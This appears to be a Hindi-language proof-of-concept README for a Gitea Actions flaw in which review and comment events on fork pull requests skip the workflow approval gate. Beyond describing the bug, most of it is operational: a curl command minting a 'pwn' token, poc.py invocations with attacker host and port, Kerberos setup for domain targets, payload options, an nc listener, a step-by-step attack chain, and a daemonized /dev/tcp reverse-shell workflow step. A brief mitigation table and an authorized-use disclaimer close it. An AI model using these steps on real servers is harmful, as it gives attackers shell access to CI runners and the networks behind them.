
Gitea ओपन सोर्स Git सर्वर की approval‑gate लॉजिक में एक खामी है, जो एक स्थायी फोर्क (permanent fork) से उत्पन्न होने वाले पुल रिक्वेस्ट (pull request) को, रिपॉजिटरी में कॉन्फ़िगर किए गए approval gates को पूरा किए बिना ही मर्ज हो जाने की अनुमति देती है।
गंभीरता: उच्च (CVSS 8.9) प्रभावित: Gitea ≤ 1.26.2 समाधान संस्करण: Gitea 1.26.3 परामर्श: GHSA-777r-4v59-6486
Gitea Actions फोर्क पुल रिक्वेस्ट द्वारा ट्रिगर किए गए वर्कफ़्लो रन पर एक अनुमोदन गेट लागू करता है। यह गेट ifNeedApproval() में लागू किया गया है और इसका उद्देश्य अविश्वसनीय योगदानकर्ताओं को CI पाइपलाइनों के माध्यम से मनमाना कोड निष्पादित करने से रोकना है।
दोष यह है कि ifNeedApproval() केवल pull_request इवेंट पर सही ढंग से लागू होता है। वर्कफ़्लो के on: ब्लॉक में सूचीबद्ध प्रत्येक इवेंट प्रकार अपनी स्वयं की अनुमोदन जांच के साथ एक स्वतंत्र ActionRun ऑब्जेक्ट उत्पन्न करता है। जब कोई हमलावर on: ब्लॉक का विस्तार करके pull_request_review, issue_comment, या pull_request_review_comment जैसे इवेंट शामिल करता है, तो वे रन अनुमोदन गेट से गुज़रे बिना भेज दिए जाते हैं।
इनमें से किसी भी असुरक्षित इवेंट को ट्रिगर करना - उदाहरण के लिए, PR समीक्षा टिप्पणी पोस्ट करना - रनर के सेवा खाते के रूप में तुरंत वर्कफ़्लो रन शुरू कर देता है, बिना किसी मेंटेनर अनुमोदन की आवश्यकता के।
ifNeedApproval() फ़ंक्शन pull_request इवेंट के लिए (repo_id, trigger_user_id) के आधार पर अनुमोदन जांचता है, लेकिन इस जांच को सभी ट्रिगर करने योग्य इवेंट प्रकारों पर लगातार लागू नहीं करता है।
संवेदनशील पथ:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| आवश्यकता | विवरण |
|---|---|
| Gitea खाता | फोर्क अनुमति वाला कोई भी प्रमाणित उपयोगकर्ता |
| लक्ष्य रिपॉजिटरी | Gitea Actions सक्षम होना चाहिए |
| रनर | act_runner ऑनलाइन और पंजीकृत होना चाहिए |
| नेटवर्क | रनर से हमलावर होस्ट तक पहुँच संभव होनी चाहिए |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
ब्राउज़र के माध्यम से: Settings -> Applications -> Generate Token
आवश्यक स्कोप: repository write + issue write।
API के माध्यम से:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
निष्पादित करें:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
उन Gitea इंस्टेंस के लिए जो केवल Kerberos/SPNEGO स्वीकार करते हैं (SSPI लागू Active Directory वातावरण)। वैध TGT वाले डोमेन-जॉइन किए गए होस्ट से चलाया जाना चाहिए।
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
यदि DNS रिज़ॉल्यूशन विफल हो जाए, तो /etc/krb5.conf कॉन्फ़िगर करें:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
डिफ़ॉल्ट रूप से act_runner सिंगल-वर्कर होता है। यदि रिवर्स शेल स्टेप साफ-सुथरे तरीके से बाहर नहीं निकलता है, तो रनर "running" स्थिति में रहता है और नए जॉब्स को अनदेखा करता है।
इससे बचने के लिए, शेल को बैकग्राउंड में चलाएँ:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
या डीमनाइज़्ड वन-लाइनर सीधे पास करने के लिए --custom-payload का उपयोग करें।
event=pull_request_review या event=issue_comment वाली ActionRun प्रविष्टियाँpull_request_review ट्रिगर होते हैं| कार्रवाई | विवरण |
|---|---|
| अपग्रेड करें | Gitea 1.26.3+ इस समस्या को ठीक करता है |
| वर्कअराउंड | अविश्वसनीय योगदानकर्ताओं वाली रिपॉजिटरीज़ पर Gitea Actions अक्षम करें |
| ऑडिट करें | अनपेक्षित निष्पादन के लिए फोर्क PR और संबंधित वर्कफ़्लो रन की समीक्षा करें |
| प्रतिबंधित करें | फोर्क अनुमतियों को केवल विश्वसनीय उपयोगकर्ताओं तक सीमित करें |
केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।